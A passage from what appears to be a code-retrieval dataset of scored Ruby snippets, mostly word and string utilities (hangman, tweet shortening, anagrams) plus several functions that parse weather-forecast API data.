"text": "def ttr_within_verbs(language) # see 3.3\n delete_empty_strings = true\n markers_verb1 = []\n markers_verb2 = []\n markers_verb3 = []\n verbstems_noun1 = []\n verbstems_noun2 = []\n \nlanguage.each_index do |phraseind| #\"phrase\" is used here and elsewhere as a synonym to \"sentence\"\n\tphrase = language[phraseind]\n if phrase #if not nil (doesn't happen in practice!)\n\t phrase = phrase.strip \n verb = phrase.split(\" \")[1].to_s\n if [2, 3, 4, 10, 11, 12].include?(phraseind) #first noun\n verbstems_noun1 << verb[0].to_s\n elsif [5, 6, 7, 13, 14, 15].include?(phraseind) #second noun\n verbstems_noun2 << verb[0].to_s\n end\n\n if [2, 5, 10, 13].include?(phraseind) #first verb\n markers_verb1 << verb[-1].to_s #taking the LAST symbol of the verb (empty string if there no verb)\n elsif [3, 6, 11, 14].include?(phraseind) #second verb\n markers_verb2 << verb[-1].to_s\n elsif [4, 7, 12, 15].include?(phraseind) #third verb\n markers_verb3 << verb[-1].to_s\n end\n \n else \n STDERR.puts \"Nil phrase!!!\"\n end\n end\n if delete_empty_strings\n [verbstems_noun1, verbstems_noun2, markers_verb1, markers_verb2, markers_verb3].each do |array|\n array.delete(\"\")\n end\n end\n\n ttr_marker_per_verb = (speakercomplexity1_norm(markers_verb1) + speakercomplexity1_norm(markers_verb2) + speakercomplexity1_norm(markers_verb3))/3.0\n ttr_stem_per_noun = (speakercomplexity1_norm(verbstems_noun1) + speakercomplexity1_norm(verbstems_noun2))/2.0\n \n return [ttr_marker_per_verb, ttr_stem_per_noun]\nend",
"title": ""
},
{
"docid": "22cb70639f2cfd29ad8b42d3028a4977",
"score": "0.5360911",
"text": "def setup\r\n @display = []\r\n \r\n for i in 0...@word.length\r\n if @word[i] == \" \"\r\n @display << \" \"\r\n else\r\n @display << \"_\"\r\n end\r\n end\r\n \r\n @letters = @word.length\r\n @left = letters\r\n @display = @display.join\r\n end",
"title": ""
},
{
"docid": "f8f4a3beb70832945e482f1f140d9c49",
"score": "0.5359924",
"text": "def quick_process_word_list(word_length)\n target_words = []\n other_lengths = []\n IO.foreach(self.wordlist.path) do |word|\n\tword.chomp!.downcase!\n\ttarget_words << word if (word.length == word_length) && (!target_words.include? word)\n\tother_lengths << word if (!word.blank?) && (word.length < word_length - 1) && (!other_lengths.include? word)\n end\n database = []\n other_lengths.each do |other|\n target_words.each do |target|\n \t\tif target.start_with?(other)\n\t\t\tto_concat = { target: target, left: other}\n\t\t\tdatabase << to_concat\n\t\t\tto_concat = nil\n\t\tend\t\n end\n end\n other_lengths.each do |other|\n\ttarget_words.each do |target|\n\t\tif target.end_with?(other)\n\t\t\trecord = database.find {|entry| entry[:target] == target }\n\t\t\tif record\n\t\t\t record[:right] = other if record[:left].length + other.length == word_length\n\t\t\tend\n\t\tend\n\tend\n end\n tmp = database.each.select{|i| i[:right] != nil }\n self.update(result: tmp.map {|str| \"\\\"#{str}\\\"\"}.join(','))\n return database.each.select{|i| i[:right] != nil }\n end",
"title": ""
},
{
"docid": "e914f12bbf344822d31300ca973cefd2",
"score": "0.53594977",
"text": "def list_all_words\r\n @vocabularies.sort.each do |name, words|\r\n puts \"In vocabulary #{name}:\"\r\n buffer = ''\r\n \r\n words.sort.each do |k,v|\r\n if v.immediate?\r\n temp = \" #{k.ljust(12)}!\"\r\n else\r\n temp = \" #{k.ljust(12)} \"\r\n end\r\n \r\n if buffer.length + temp.length > 78\r\n puts buffer\r\n buffer = ''\r\n end\r\n\r\n buffer << temp\r\n end\r\n \r\n puts buffer if buffer.length > 0\r\n end\r\n end",
"title": ""
},
{
"docid": "d65b9146093dc935cbec6d94d9d3c3ee",
"score": "0.5356997",
"text": "def scan\n data_str = $data.join('')\n $words = $words + data_str.split\nend",
"title": ""
},
{
"docid": "e52e3180569906c1b99508c4af50f0b3",
"score": "0.53563595",
"text": "def make_word_phrase(array)\n array.each do |word|\n n = array.index(word)\n # creates a two word array\n two_word = array[n..n+1]\n check_two(two_word)\n if two_word[1].nil?\n two_word.clear\n else\n two_word.each do |c|\n strip_punct(c)\n end\n if proper_two(two_word)\n two_word.join(\" \")\n Wordbank.create(word: two_word, brand: true, headline: false)\n else\n two_word.join(\" \")\n Wordbank.create(word: two_word, brand: false, headline: false)\n end\n end\n # creates a three word array\n three_word = array[n..n+2]\n check_three(three_word)\n if three_word[2].nil?\n three_word.clear\n else\n three_word.each do |c|\n strip_punct(c)\n end\n if proper_three(three_word)\n three_word.join(\" \")\n Wordbank.create(word: three_word, brand: true, headline: false)\n else\n three_word.join(\" \")\n Wordbank.create(word: three_word, brand: false, headline: false)\n end\n end\n end\nend",
"title": ""
},
{
"docid": "7b8573d38a3afb5f27e8898ad090b534",
"score": "0.5352205",
"text": "def translate line\n pig_latined = []\n\n # translate word by word \n line.split.each do |word|\n pig_latined.push(translate_word word)\n end\n\n # add spaces between words \n pig_latined.join(\" \")\nend",
"title": ""
},
{
"docid": "e77735e4a0843fe5828f2718bd20a2b6",
"score": "0.5350484",
"text": "def long_planeteer_calls(short_words)\n short_words = [\"puff\", \"go\", \"two\"]\n assorted_words = [\"two\", \"go\", \"industrious\", \"bop\"]\nend",
"title": ""
},
{
"docid": "8ad3011f5b0d105fd913450819c79896",
"score": "0.53489506",
"text": "def public_words\n guessed, unguessed = @words.values.partition(&:revealed)\n {\n unguessed: unguessed.map(&:word).sort,\n guessed: guessed.group_by(&:role).map { |k, vs| [k, vs.map(&:word)] }.to_h,\n }\n end",
"title": ""
},
{
"docid": "af583555f9e0a0e0056400f69deac2e3",
"score": "0.53479445",
"text": "def whisper_words(words)\n # Write your code here\nend",
"title": ""
},
{
"docid": "4fd43e8a58a55b553b3e628e3db1f652",
"score": "0.5345226",
"text": "def display_word\n\t\tputs \n\t\t@word.hash_array.each do |letter_hash_array|\n\t\t\tif letter_hash_array[:is_revealed?] == false\n\t\t\t\tprint \"_\"\n\t\t\telse\n\t\t\t\tprint letter_hash_array[:letter]\n\t\t\tend\n\t\tend\n\t\tprint \"\\n\\n\"\n\tend",
"title": ""
},
{
"docid": "001da44a802aeed8c81349dc8da8dab2",
"score": "0.534356",
"text": "def adjust_words words\n\t\t\treturn words.sort do |w1,w2|\n\t\t\t\tw1.position - w2.position\n\t\t\tend .each_with_index do |w, i|\n\t\t\t\tw.position = i\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "bcc07c2613b5ab07686f2e25327e4d47",
"score": "0.5337189",
"text": "def word_substituter(tweet)\n tweet_array = tweet.split(\" \")\n tweet_array.collect! do |word|\n dictionary(word)\n end\n tweet_array.join(\" \")\nend",
"title": ""
},
{
"docid": "2bc7ebaea7a28fe93d5f77c5e19ceeba",
"score": "0.5336476",
"text": "def QWordsBeg(value); end",
"title": ""
},
{
"docid": "ac5cbeed2c8be51e34b2632f1617d3f7",
"score": "0.5329832",
"text": "def print_all_moods(words)\n words.collect { |statement| statement[0..4] + \" \" + analyze_mood(statement)}\nend",
"title": ""
},
{
"docid": "d3071a27d4342d0504bda58677b5b663",
"score": "0.53297704",
"text": "def word_substituter(tweet)\n array = tweet.split(\" \") #puts all the tweet hash into indivdual array to allow iterate\n #binding.pry\n array.collect do |tweet_words| #itereate through tweet blocks.\n if dictionary.keys.include?(tweet_words.downcase) #dictionay.key => pulls only keys in dictionary then check to see if keys are included in tweet\n tweet_words = dictionary[tweet_words.downcase] #downcased so it will match with key\n else\n tweet_words\n end\n end.join(\" \")\n end",
"title": ""
},
{
"docid": "b7306511402af3ebf75722a3fea86cb6",
"score": "0.5327484",
"text": "def QWords(beginning, elements); end",
"title": ""
},
{
"docid": "c7a4e37d677572a72c800aab138a7cbe",
"score": "0.5325388",
"text": "def show_result\n\t\t@result = []\n\t\t(@word.length).times do\n\t\t\t@result << \"_\"\n\t\tend\n\t\t@result.join(\" \")\n\tend",
"title": ""
},
{
"docid": "f65d3a338aeff74f9070d79a1d4c2d39",
"score": "0.532413",
"text": "def show\n @words = Word.all.paginate(page: params[:page], :per_page => 15)\n end",
"title": ""
},
{
"docid": "ee678c9243f91e52ab4e8209cc796843",
"score": "0.5314032",
"text": "def show\n @words = @word_list.words\n respond_to do |format|\n format.html {}\n format.json {\n @words_collection = @words.map{|w| {english_word: w.english_word, value: w.value}}\n render json: {words: @words_collection}\n }\n end\n end",
"title": ""
},
{
"docid": "08db4cba172159e7d28013b7de50bbcb",
"score": "0.5308875",
"text": "def word_substituter(tweet)\n tweet_parts = tweet.split(\" \")\n parts = []\n tweet_parts.collect do |word|\n parts.push(dictonary_replace(word))\n end\n\n parts.join(\" \")\nend",
"title": ""
},
{
"docid": "05264523f76cd0faf19687df232d8ce5",
"score": "0.53063035",
"text": "def phrases(query)\n parts = keywords(query)\n parts_size = parts.size\n\n [*0..parts_size]\n .combination(2)\n .map { |(a, b)| parts[a...parts_size - (b - a - 1)].join(' ') }\n end",
"title": ""
},
{
"docid": "e08e536dac041d5ab113931020ab8fd3",
"score": "0.530554",
"text": "def create\n # ***** Updated yet again *****\n \n @text = params[:text_inspection][:user_text]\n @word_count = @text.split(\" \").length\n @array_words = @text.split(\" \")\n @the_words = {}\n @array_words.each do |one_word|\n \t@the_words[one_word]\n \tif @the_words[one_word] == nil\n \t\t@the_words[one_word] = 1\n \telse \n \t @the_words[one_word] += 1\n \t\n end \nend\n@sorted = @the_words.sort_by {|_key, value| value}.reverse.first(10)\n render \"results\" ##params[:text_inspection][:user_text]\n end",
"title": ""
},
{
"docid": "dee0051f8608902f2b9fdad99478e799",
"score": "0.53051126",
"text": "def whisper_words(words)\n words.map {|w| w.downcase + \"...\"}\nend",
"title": ""
},
{
"docid": "b9decac816868e4a6a806d9cf43f8b15",
"score": "0.52885735",
"text": "def add_necessary_words(search_array)\n @words_with.each do |k,v|\n if v.include?(search_array.last)\n puts \"Phrase requires \\\"#{k}\\\". Adding...\"\n \n case k\n when \"kakatteimasu\"\n @trans_array << \"にかかっています\"\n @say_it_array << \"ni kakatte imasu\"\n when \"hikimashita\"\n @trans_array << \"をひきました\"\n @say_it_array << \"o hikimashita\"\n when \"shiteimasu\"\n @trans_array << \"をしています\"\n @say_it_array << \"o shite imasu\"\n when \"shimasu\"\n @trans_array << \"がします\"\n @say_it_array << \"ga shimasu\"\n when \"arimasu\"\n @trans_array << \"があります\"\n @say_it_array << \"ga arimasu\"\n when \"desu\"\n @trans_array << \"です\"\n @say_it_array << \"desu\"\n when \"dekiteimasu\"\n @trans_array << \"ができています\"\n @say_it_array << \"ga dekite imasu\"\n when \"demasu\"\n @trans_array << \"がでます\"\n @say_it_array << \"ga demasu\"\n end\n \n end\n end\nend",
"title": ""
},
{
"docid": "ed8998f98c4f1531f5cee7ae7f372b6f",
"score": "0.5288041",
"text": "def add_words\n word_params.each do |word|\n anagram = Anagram.find_or_create_by(key: word.downcase.chars.sort.join)\n anagram.words.create(text: word)\n end\n end",
"title": ""
},
{
"docid": "a92d3cac76ef16a7e92582a53dc00648",
"score": "0.52807593",
"text": "def create_phrase_word(index, word)\n copy = @phrases_slices.dup\n copy[index] = word\n copy.join(' ')\n end",
"title": ""
},
{
"docid": "f862edc2f7d626eeaf50af2e30e5fbb9",
"score": "0.5276127",
"text": "def show_unveiled veiled_word\n print \"\\n\\n\"\n veiled_word.each do |letter|\n print \" #{letter} \"\n end\n print \"\\n\\n\"\n end",
"title": ""
},
{
"docid": "7370db26c1dd4f7d72bc0222b04e462e",
"score": "0.5271409",
"text": "def possible_words(dictionary, tiles)\n dictionary.reduce([]) do |words, word|\n if can_form?(word, tiles)\n words << word\n else\n words\n end\n end\n end",
"title": ""
},
{
"docid": "e4b4a2b9baefc1eb653d131beeff3971",
"score": "0.5270291",
"text": "def word_with_guesses\n display_word = create_dashed_display_string(@word)\n display_word = insert_guess_letter_to_dash(display_word, @guesses, @word)\n display_word\n end",
"title": ""
},
{
"docid": "e17faf44eb7d4a98537fa74b240e7a52",
"score": "0.52700675",
"text": "def whisper_words(words)\n words.map { |word| word.downcase + \"...\"}\nend",
"title": ""
},
{
"docid": "d2b61636176ac9a960cd79552da9765d",
"score": "0.5253146",
"text": "def Words(beginning, elements); end",
"title": ""
},
{
"docid": "be9c1fb15395c8fa3000388d64f6e6cc",
"score": "0.5251004",
"text": "def create\n @rankcriteria = Rankcriteria.new(params[:rankcriteria])\n spellcheck = Spellcheck.new\n @alternatewords = Alternatephrase.find(:all)\n\n @rankcriteria.phrase = @rankcriteria.phrase.downcase\n @alternatewords.each do |alternateword|\n @rankcriteria.phrase = @rankcriteria.phrase.sub(alternateword.word + ' ',alternateword.equalto+ ' ')\n @rankcriteria.phrase = @rankcriteria.phrase.sub(' ' + alternateword.word, ' ' + alternateword.equalto)\n end\n \n @wrongword = @rankcriteria.phrase\n if @rankcriteria.phrase.strip.split(' ').length < 2\n @result = spellcheck.check_word(@rankcriteria.phrase)\n unless @result[\"spellresult\"][\"c\"].nil?\n #puts @result[\"spellresult\"][\"c\"][\"@l\"] #length\n #puts @result[\"spellresult\"][\"c\"][\"$\"]\n #@result[\"spellresult\"][\"c\"][\"$\"] #strings\n #@result[\"spellresult\"][\"c\"][\"$\"].to_s.split(/\\t/)\n render :new\n else\n syn = Antonyms.new\n result = syn.get_antonyms(@rankcriteria.phrase)\n unless result[\"words\"].nil?\n result[\"words\"][\"w\"].each do |key|\n criteria = Rankcriteria.new\n criteria.phrase = key[\"$\"].to_s.strip\n if key[\"@r\"].to_s.downcase == \"ant\"\n criteria.priorityhigh = ! @rankcriteria.priorityhigh?\n else\n criteria.priorityhigh = @rankcriteria.priorityhigh?\n end\n criteria.save\n end\n end\n @rankcriteria.isantonymprocessed=false\n if @rankcriteria.save\n redirect_to(:action => \"index\", :notice => 'Rankcriteria was successfully created.')\n else\n @result = nil\n redirect_to :action => \"index\"\n end\n end\n else\n @rankcriteria.phrase.split(' ').each do |word|\n @result = spellcheck.check_word(word)\n unless @result[\"spellresult\"][\"c\"].nil?\n #@result[\"spellresult\"][\"c\"][\"$\"].to_s.split(/\\t/)\n @wrongword = word\n render :new\n return\n end\n end\n @rankcriteria.isantonymprocessed = false\n if @rankcriteria.save\n redirect_to(:action => \"index\", :notice => 'Rankcriteria was successfully created.')\n else\n @result = nil\n redirect_to :action => \"index\"\n end\n end\n end",
"title": ""
},
{
"docid": "9dc6e92f2e4860305371e21d4996d4ed",
"score": "0.5250373",
"text": "def whisper_words(words)\n return words.map {|w| w.downcase+\"...\"}\nend",
"title": ""
},
{
"docid": "4a0e58fdc0535bfb1b970caf7a90116c",
"score": "0.52325034",
"text": "def move_in_words\n move_type = {earth: \"walk\", air: \"fly\", water: \"swim\"}\n text = \"I can #{move_type[terrains.pop.to_sym]}\"\n\n if (terrains.size > 0)\n terrains.each do |terrain|\n text += \" and #{move_type[terrain.to_sym]}\"\n end\n end\n\n return text\n end",
"title": ""
},
{
"docid": "aefc3a860043e26600da1b4259de3a35",
"score": "0.52242005",
"text": "def index\n firt_letter = params[:firt_letter] ? params[:firt_letter] : 'a'\n @words = Word.starting_with(firt_letter)\n @json = @words.map{ |word| word.name }\n end",
"title": ""
},
{
"docid": "a218ec26e084c5b5f025d07eaf7b4929",
"score": "0.5218929",
"text": "def mutate_word(word)\n results = []\n # Iterate through combinations to create each possible mutation\n mutation_keys.each do |iteration|\n next if iteration.flatten.empty?\n intermediate = word.dup\n subsititutions = iteration.collect { |key| MUTATIONS[key] }\n intermediate.tr!(subsititutions.join, iteration.join)\n results << intermediate\n end\n results.flatten.uniq\n end",
"title": ""
},
{
"docid": "8d973be71b0baaf274c33c9b34280c86",
"score": "0.5217649",
"text": "def whisper_words(words)\n return words.map { |ele| ele.downcase + \"...\"}\nend",
"title": ""
},
{
"docid": "de8820a54f34d328908b04df1b229eca",
"score": "0.5216863",
"text": "def populate words\n self.insert_words(words.split(\"\\n\"))\n end",
"title": ""
},
{
"docid": "1c76487598fa57a6eaa7a9c104ca5a6f",
"score": "0.52167946",
"text": "def split_statements\n\t\trep_words = {}\n\t\tj_snt = 0\n\t\tself.each do |l| \n\t\t\tline = Word.new(l)\n\t\t\tline.gsub!(/[.,:\"'-0123456789?;!…–»«\\[\\]]/,' ') if !line.empty?\n\t\t\tarr_tmp = line.split\n\t\t\tarr_tmp.each do |w| \n\t\t\t\tw = w.downcase\n\t\t\t\tif rep_words.include?(w)\n\t\t\t\t\trep_words[w][:q] += 1\n\t\t\t\t\trep_words[w][:s] << j_snt\n\t\t\t\telse\n\t\t\t\t\trep_words[w] = {:q => 1, :s => [j_snt]}\n\t\t\t\tend\n\t\t\tend\n\t\t\tj_snt += 1\n\t\tend\n\t\treturn rep_words arr_tmp\t\t\n\tend",
"title": ""
},
{
"docid": "80335b49dc670cf3c60ccd8cdcd1c86b",
"score": "0.52162397",
"text": "def presentation_terms(term)\n [\"%#{term}%\", \"%#{term}%\", \"#{term}%\"]\n end",
"title": ""
},
{
"docid": "95a7199b10961c8593bf96a0b22a4c4e",
"score": "0.5215972",
"text": "def vocabulary\n wayfinder.decorated_vocabulary\n end",
"title": ""
},
{
"docid": "5787b3e90507f1b4ee26f2cdd5a1717b",
"score": "0.52123946",
"text": "def word_semantic\n\t\tif params.has_key?(:p) and params.has_key?(:v) \\\n\t and params[:v].to_i > 0 and params[:v].to_i < 1000000 \\\n\t and params[:p].to_i > 0 and params[:p].to_i < 1000000\n\t # Store the volume and page from the input\n\t @volume, @page,@id,annotation = params[:v].to_i, params[:p].to_i, params[:id].to_i, params[:word]\n\t if params[:searchID]\n\t @searchID = 'searchID'\n\t end\n\t else\n\t \tredirect_to doc_path\n\t end\n\t @xmlcontent = Search.where(:volume => @volume).where(:page => @page).where(:id => @id).to_a[0]\n\t @xmlcontent.content.gsub!(annotation,\"<#{params[:tag]}>#{annotation}</#{params[:tag]}>\")\n\t @xmlcontent.save\n\t redirect_to doc_path\n\t flash[:notice] = \"Successfully created annotation.\"\n\tend",
"title": ""
},
{
"docid": "7cc2bb60b9f30fe53b8e125f1279e553",
"score": "0.5211725",
"text": "def words\n @breakdown.values\n end",
"title": ""
},
{
"docid": "fa4ae36b4ff0301c7e7e77863f000e57",
"score": "0.52110684",
"text": "def word_pattern; end",
"title": ""
},
{
"docid": "ef931e6e83b5b720d6612655e729f218",
"score": "0.5205729",
"text": "def words\n @phrase.\n split(/[\\n ,]/).\n map {|w| normalize_word(w) }.\n delete_if {|w| w.empty? }\n end",
"title": ""
},
{
"docid": "a2307fda8f8d5f2a0aed38a8e9c9ce0f",
"score": "0.52052563",
"text": "def visit_words(node); end",
"title": ""
},
{
"docid": "bf82bebf1866162f133cc955984f4a91",
"score": "0.5201085",
"text": "def index\n @words = Word.order('lower(name) ASC').all\n end",
"title": ""
},
{
"docid": "1e2a3811d5fce7e6075cb4dca64b5db1",
"score": "0.5200303",
"text": "def bulk_tweet_shortener(a_string_array)\n a_string_array.each do |x|\n new_array = []\n new_x = x.split(\" \")\n new_x.each do |each_word|\n if dictionary.include?(each_word)\n each_word = dictionary[each_word]\n end\n new_array << each_word\n end\n back_to_str = new_array.join(\" \")\n puts back_to_str\n end\nend",
"title": ""
},
{
"docid": "1fe4edddd5f3acc40fb137fbfa435d30",
"score": "0.519988",
"text": "def word_with_guesses\n \tdisplayed_word = \"\"\n \t# For each letter in our word...\n \t@word.each_byte do |b|\n \t\t# If the letter is contained in our guesses...\n \t\tif @guesses.include? b.chr\n \t\t\t# ... then append the letter\n \t\t\tdisplayed_word << b.chr\n \t\telse\n \t\t\t# ... otherwise append a dash\n \t\t\tdisplayed_word << '-'\n \t\tend\n\tend\n \treturn displayed_word\n end",
"title": ""
},
{
"docid": "f47aceaa766a16a58fc4ecd81e290f68",
"score": "0.5198073",
"text": "def Words=(v)",
"title": ""
},
{
"docid": "4c680b24f83dfb6cbc4277c5efa8244f",
"score": "0.51967126",
"text": "def word_substituter(tweets)\n # assign var to keys and values to find match\n dictionary_k = dictionary.keys\n # dictionary_v = dictionary.values\n tweets = tweets.split\n new_tweets = \"\"\n new_tweets_arr = []\n tweets.each do | word |\n # puts word\n if dictionary_k.include?(\"#{word}\") \n # retrieve value of associated key\n word = dictionary[\"#{word}\"]\n elsif \n word\n end\n # new_tweets += \"#{word} \"\n new_tweets_arr << word\n end\n new_tweets = new_tweets_arr.join(\" \")\n\nend",
"title": ""
},
{
"docid": "8b36cf811a8446b6ce5bff2759466692",
"score": "0.5193515",
"text": "def prepare_search phrase\n new_phrase = []\n \n phrase.split.each do |a|\n # If something like be*r\n if a.index WILDCARD_OPERATOR\n # replace be*r with possible alternatives: bear OR beer OR bever...\n new_phrase << @gram_handler.search_and(wildcard_parts(a)).join(\" #{OR_OPERATOR} \")\n else\n new_phrase << a\n end\n end\n \n return new_phrase.join ' '\n end",
"title": ""
}
] |
fef65f4ccfca25e47b89e97ec6fdc156
|
returns the current precipitation intensity info array of the weather information from forecast.io
|
[
{
"docid": "3614a9f9fe41da2fde3a93902d3750ce",
"score": "0.7296965",
"text": "def precip(info)\n\treturn info[\"currently\"][\"precipIntensity\"]\nend",
"title": ""
}
] |
[
{
"docid": "2c66ffd484fdf3dd97c4c934f98e901b",
"score": "0.75956887",
"text": "def precipIntensity(weather_info)\n\tweather_info[\"currently\"][\"precipIntensity\"]\nend",
"title": ""
},
{
"docid": "93a41c7e8947f86a410d22b9b9cbb8b4",
"score": "0.66476834",
"text": "def forecast_array\n @forecast ||= HTTParty.get(\"http://api.openweathermap.org/data/2.5/forecast/daily?q=Seattle&cnt=3&units=imperial&mode=json\").parsed_response[\"list\"]\n end",
"title": ""
},
{
"docid": "a7ee64f42fd07c79dbbc7b9832ab7cf3",
"score": "0.63871145",
"text": "def rain_chance\n new_array = client.weather_data[\"hourly\"][\"data\"].find_all {|r| r[\"precipProbability\"] > 0}\n first_rain = new_array[0]\n time_of_rain = first_rain[\"time\"]\n datetime_rain = Time.at(time_of_rain).to_datetime\n now = Time.now\n time_til_rain_seconds = time_of_rain.to_i - now.to_i\n time_til_rain_hours = time_til_rain_seconds / 3600\n rain_intensity = first_rain[\"precipIntensity\"]\n end",
"title": ""
},
{
"docid": "aeac6fd6d41b5c35fabf886917a9a875",
"score": "0.60085654",
"text": "def get_precipitation_forecast(forecast)\n\t\n\tprecipitation_forecast = []\n\trainfall_forecast\t\t\t = [0.0,0.0,0.0]\n\tnext_three_hours\t\t\t = 0.0\n\n\tfirst = Time.now.to_i + 24*60*60*5\n\n\t# find the earliest start time, get forecast for earliest time, and collect three hourly precipitation forecasts\n\tforecast.each_value do |f|\n\t\tif f['precipitation'] && f['duration']==3\n\t\t\tprecipitation_forecast << f\n\t\t\tif f['start'] < first\n\t\t\t\tfirst = f['start']\n\t\t\t\tnext_three_hours = f['precipitation'].to_f\n\t\t\tend\n\t\tend\n\tend\n\n\t# now collect and group into days\n\tprecipitation_forecast.each do |f|\n\t\tperiod = (f['start'] - first) / (24*60*60)\n\t\trainfall_forecast[period] += f['precipitation'].to_f if period < 3\n\tend\n\n\t{\n\t\t'precipitation' \t\t=> rainfall_forecast,\n\t\t'start'\t\t\t\t\t\t\t=> first,\n\t\t'next_three_hours' => next_three_hours\n\t}\n\nend",
"title": ""
},
{
"docid": "400657f017ee06e9837baaecd316e466",
"score": "0.57702243",
"text": "def current_weather_data\n get_weather[:currently]\n end",
"title": ""
},
{
"docid": "25fde88a4970d5c9e45747ed9772c55b",
"score": "0.57306594",
"text": "def precipProb(weather_info)\n\tprob = weather_info[\"currently\"][\"precipProbability\"]*100\t\n\tprob.to_i\nend",
"title": ""
},
{
"docid": "34b578827367cf0ef3f835e35d3d3c36",
"score": "0.56605506",
"text": "def current_weather_data\r\n response = self.get_data\r\n\r\n # next steps: error handling in case the call breaks outright and returns nothing / no error code / a socketerror\r\n return unless response.response.code == \"200\"\r\n\r\n data_points = JSON.parse(response.body)[\"list\"]\r\n weather_hash = {}\r\n\r\n # loop through the data points and then add to a list of points for each individual day\r\n data_points.map { |data_point|\r\n forecast_time = DateTime.strptime(data_point[\"dt\"].to_s,'%s').in_time_zone(\"Central Time (US & Canada)\")\r\n forecast_date = forecast_time.strftime(\"%B %-e\")\r\n weather_hash[forecast_date] = [] if weather_hash[forecast_date].blank?\r\n\r\n temperature = data_point[\"main\"][\"temp\"]\r\n weather_text = data_point[\"weather\"].first[\"description\"]\r\n icon = data_point[\"weather\"].first[\"icon\"]\r\n\r\n weather_hash[forecast_date] << {temperature: temperature, weather: weather_text, icon: icon}\r\n }\r\n\r\n weather_hash.keys.each do |key|\r\n weather_hash[key] = daily_weather(weather_hash[key])\r\n end\r\n\r\n # sometimes the way that the forecast looks out, we end up with extra days' worth of content\r\n # I'd check with the PO to see if we only want to consider full days of weather data\r\n # but for now I'm going to focus on the first five soonest days we have data for, and ignore the bits of day 6 that might creep into the feed\r\n return engagement_data(weather_hash).first(5)\r\n end",
"title": ""
},
{
"docid": "4c8625033733a68aff58aedc9899f887",
"score": "0.5630597",
"text": "def get_weather\n @single_city_data['weather']\n end",
"title": ""
},
{
"docid": "7fe58998f695ec47826d442485561397",
"score": "0.55780154",
"text": "def current_temperature(weather_info)\n\tweather_info[\"currently\"][\"temperature\"].to_i\nend",
"title": ""
},
{
"docid": "1ae56cc51e683f2eb6f134bd7ce4d442",
"score": "0.5528931",
"text": "def weatherData \n\n icons = {\n \"clear-day\" => \"pe-7w-sun\",\n \"clear-night\" => \"pe-7w-moon\",\n \"rain\" => \"pe-7w-rain-alt\",\n \"snow\" => \"pe-7w-snow-alt\",\n \"sleet\" => \"pe-7w-snow\",\n \"wind\" => \"pe-7w-wind\",\n \"fog\" => \"pe-7w-fog\",\n \"cloudy\" => \"pe-7w-cloud\",\n \"partly-cloudy-day\" => \"pe-7w-cloud-sun\",\n \"partly-cloudy-night\" => \"pe-7w-cloud-moon\", \n \"default\" => \"pe-7w-thermometer-full\",\n }\n \n @weather_data = HTTParty.get('https://api.darksky.net/forecast/f3d5dcb788b60bc988305e4ba4bf0fe9/51.208168,-1.516628?exclude=hourly,minutely,flags&units=auto')\n\n # Current Weather\n @current_time = Time.at(@weather_data ['currently']['time'].to_i)\n @timezone = @weather_data ['timezone']\n @current_summary = @weather_data ['currently']['summary']\n \n @current_icon = icons.fetch(@weather_data ['currently']['icon'],\"pe-7w-thermometer-full\")\n @current_temp = @weather_data ['currently']['temperature'].to_i\n @current_temp_feels = @weather_data ['currently']['apparentTemperature'].to_i\n @current_humidity = (@weather_data ['currently']['humidity'] * 100).to_i\n @current_windspeed = @weather_data ['currently']['windSpeed'].to_i\n @current_windgust = @weather_data ['currently']['windGust'].to_i\n @current_windbearing = @weather_data ['currently']['windBearing']\n @current_cloudcover = (@weather_data ['currently']['cloudCover'] * 100).to_i\n @current_uvindex = @weather_data ['currently']['uvIndex']\n if @current_uvindex <= 2\n @uvindex = 'bg-succes'\n elsif @current_uvindex <= 5\n @uvindex = 'bg-yellow'\n elsif @current_uvindex <= 7\n @uvindex = 'bg-warning'\n elsif @current_uvindex <= 10\n @uvindex = 'bg-danger'\n elsif @current_uvindex < 10\n @uvindex = 'bg-violet'\n else \n @uvindex = 'bg-transparent'\n end\n @current_percp = (@weather_data ['currently']['precipProbability'] * 100).to_i\n @current_high = @weather_data ['daily']['data'][0]['temperatureHigh']\n @current_low = @weather_data ['daily']['data'][0]['temperatureLow']\n \n #weather forcast\n @weekly_summary = @weather_data ['daily']['summary']\n # Next 6 days\n @day_one_time = Time.at( @weather_data ['daily']['data'][1]['time'].to_i)\n @day_one_icon = icons [@weather_data ['daily']['data'][1]['icon']]\n @day_one_hi = @weather_data ['daily']['data'][1]['temperatureHigh'].to_i\n @day_one_low = @weather_data ['daily']['data'][1]['temperatureLow'].to_i\n\n @day_two_time = Time.at( @weather_data ['daily']['data'][2]['time'].to_i)\n @day_two_icon = icons [@weather_data ['daily']['data'][2]['icon']]\n @day_two_hi = @weather_data ['daily']['data'][2]['temperatureHigh'].to_i\n @day_two_low = @weather_data ['daily']['data'][2]['temperatureLow'].to_i\n\n @day_three_time = Time.at( @weather_data ['daily']['data'][3]['time'].to_i)\n @day_three_icon = icons [@weather_data ['daily']['data'][3]['icon']]\n @day_three_hi = @weather_data ['daily']['data'][3]['temperatureHigh'].to_i\n @day_three_low = @weather_data ['daily']['data'][3]['temperatureLow'].to_i\n\n @day_four_time = Time.at( @weather_data ['daily']['data'][4]['time'].to_i)\n @day_four_icon = icons [@weather_data ['daily']['data'][4]['icon']]\n @day_four_hi = @weather_data ['daily']['data'][4]['temperatureHigh'].to_i\n @day_four_low = @weather_data ['daily']['data'][4]['temperatureLow'].to_i\n\n @day_five_time = Time.at( @weather_data ['daily']['data'][5]['time'].to_i)\n @day_five_icon = icons [@weather_data ['daily']['data'][5]['icon']]\n @day_five_hi = @weather_data ['daily']['data'][5]['temperatureHigh'].to_i\n @day_five_low = @weather_data ['daily']['data'][5]['temperatureLow'].to_i\n\n @day_six_time = Time.at( @weather_data ['daily']['data'][6]['time'].to_i)\n @day_six_icon = icons [@weather_data ['daily']['data'][6]['icon']]\n @day_six_hi = @weather_data ['daily']['data'][6]['temperatureHigh'].to_i\n @day_six_low = @weather_data ['daily']['data'][6]['temperatureLow'].to_i\n\n end",
"title": ""
},
{
"docid": "1f16264b8d9d21950bd5b172604c8256",
"score": "0.5526832",
"text": "def daily_forecast(info)\n info[\"weather\"][0][\"description\"]\nend",
"title": ""
},
{
"docid": "3ea8d86bbaff28706edddc8cb2683725",
"score": "0.5511125",
"text": "def minima\n return Features.minima(@data)\n end",
"title": ""
},
{
"docid": "24385a0742f045fd3f072a234fb19a03",
"score": "0.54867923",
"text": "def current_rainfall(f)\n\n\trainfall_per_hour = f[\"currently\"][\"precipIntensity\"]\n\n\ttime_since_9 = time_since_9_am(current_time(f))\n\treturn (rainfall_per_hour * time_since_9)\nend",
